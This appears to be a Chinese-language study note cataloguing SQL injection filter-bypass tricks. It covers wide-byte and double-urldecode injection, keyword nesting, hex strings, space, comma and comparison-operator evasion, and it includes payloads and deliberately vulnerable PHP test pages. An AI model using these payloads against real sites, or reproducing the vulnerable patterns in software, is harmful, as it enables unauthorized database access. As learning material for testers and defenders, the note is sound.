sql注入中的一些绕过方法

0x00 sql注入

之前搭建sql注入环境测试过最基本的sql注入,但是实际情况中,会有很多的过滤来限制注入,这里记录读了《代码审计》和网络上搜集学习之后后掌握的几种常见的绕过方法,当作笔记。

0x01 大小写绕过

mysql语句是不区分大小写的,如果过滤时没考虑到这点,就可以通过大小写混用来绕过。
如:

1
UNion SeLecT

0x02 宽字节注入

程序在进行操作之前一般会进行一些编码处理,但是做编码处理的函数是有问题的,比如在使用php连接mysql时,如果设置“set character_set_client=gbk” 时,就会导致宽字节注入问题。
如提交1’ and 1=1’时,对引号的过滤会把提交的语句变为1\’ and 1=1#’,这个时候,我们就没有把前面的引号闭合,无法使语句判别为真。
这个时候,我们如果提交1%df’ and ‘ 1=1’,由于反斜杠是%5c,%df%5c在编码处理时组成了“運”,然后我们的语句就变成了1運’ and 1=1#’成功闭合了前面的引号。

我们实战测试一下,在test.php中写入如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
header("content-type:text/html;charset=gb2312");
$servername = "localhost";
$username = "root";
$password = "123456";
$dbname = "test";
// 创建连接
$conn = mysqli_connect($servername, $username, $password, $dbname);
// Check connection
if (!$conn) {
die("Connect error: " . mysqli_connect_error());
}
$uid = addslashes($_GET['id']);
$sql = "SELECT * FROM user where id=$uid";
mysqli_query($conn, "set names gbk");
$result = mysqli_query($conn, $sql);
print_r('当前语句: ' .$sql. '<br />');
?>

然后传入参数进行测试

0x03 正则替换绕过

有的防注入机制会正则匹配危险关键字并用空白替换,这个时候可以写出类似:

1
UNunionION SELselectECT

之类的用法,这个时候正则匹配一遍将union删除,剩下的部分又变成了UNION,就成功的绕过了。

0x04 二次urldecode注入

web程序进行参数过滤时,很多采用反斜杠来转义单引号等危险参数的方法。如果某处使用了urldecode或者rawurldecode函数,会导致二次解码生成单引号。
如我们提交的是/test.php?id=1%2527,因为没有提交单引号没有触发过滤,%25的解码结果是%。则第一次解码之后是/test.php?id=1%27,如果程序里面再次使用urldecode解码id参数的话,就会生成/test.php?id=1’,单引号成功闭合。

我们们实战测试一下,在test.php中写入如下代码:

1
2
3
4
5
6
7
<?php
$a=addslashes($_GET['p']);
$b=urldecode($a);
echo '$a='.$a;
echo '<br />'
echo '$b='.$b;
?>

然后传入参数进行测试,结果如下:

0x05 十六进制绕过

对于某些进行敏感词汇检查的机制,可以通过填ascii编码的十六进制来绕过,如:

1
and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=0x76657374

其中0x76657374是test的十六进制表示

0x06 空格绕过

在SQL注入时,空格的使用是非常普遍的,如果目标对空格进行了限制,这个时候有这几种绕过方法:
如我们原来要查询用户

1
select username from user

用注释替换空格:

1
select/**/username/**/from/**/user

用回车(%0a)来替换空格

1
select%0ausername%0afrom%0auser

如果括号没有被过滤,那么能计算的一些式子也可以用括号来绕过

1
select username() from user where 1=1 and 2=2

可以写成

1
select(username())from user where(1=1)and(2=2)

虽然这句里面还有空格无法实现替换,但是在某些情况是一个非常实用的技巧。

0x07 注释符绕过

sql注入中可以用到的注释符是#或者–,如果目标没有过滤,在需要注释掉后面的引号等情况下十分好用。
如:

1
2
1' and union select * from user --
1' and '1'='1' order by 3 #

0x08 逗号绕过

在某些WAF中对逗号进行了限制,或者一些通过逗号分隔post请求的环境,我们需要绕过逗号。
如我们要判断user第一个字符的ascii是否小于150,小于则返回1,否则返回0,我们知道从文本中提取字符应该用mid()函数,用法如下:

1
SELECT MID(column_name,start[,length]) FROM table_name;

如果要实现上面所说功能本该这么构造:

1
select ascii(mid(user(),1,1))<150

但是如果没了逗号,我们就得用from x for y的形式:

1
select mid(user() from 1 for 1)<150

再如有的时候,我们需要用limit函数来限制返回的数据数量,如我们要查询,从第三行开始的一行数据,limit之后的第一个数字代表行数(从0开始算)后面数字代表从这行要返回的行数
数据表如下:

1
select * from user limit 2,1;

如果逗号无法使用,我们可以用offset,offset和limit同时用用法如下:

1
2
3
SELECT column1, column2, columnN
FROM table_name
LIMIT [no of rows] OFFSET [row num]

所以这里我们可以:

1
select * from user limit 1 offset 2

0x09 比较符号绕过

在盲注的时候,很多时候要用到比较符号大于(<)和小于(>)来进行二分查找,如果目标对比较符号进行了过滤,我们就需要通过greatest和least等函数进行绕过,这两个函数用法如下:

1
2
GREATEST(value1, value2, ...);
LEAST(value1,value2,...);

greatest函数会返回这些值里的最大值,least函数会返回最小值。如果我们要用刚才的mid方法比较,就需要这样构造:

1
2
greatest(ascii(mid(user(),0,1)),150)
least(ascii(mid(user(),0,1)),150)

0x10 总结

sql注入中常年作为owasp top 10中排名第一的漏洞,其危害不可小觑,有危害就有限制,有限制就有绕过,在这里比拼的是安全人员对漏洞原理的理解。如果作为防御方,更要有扎实的基本功,才能尽力避免这些问题。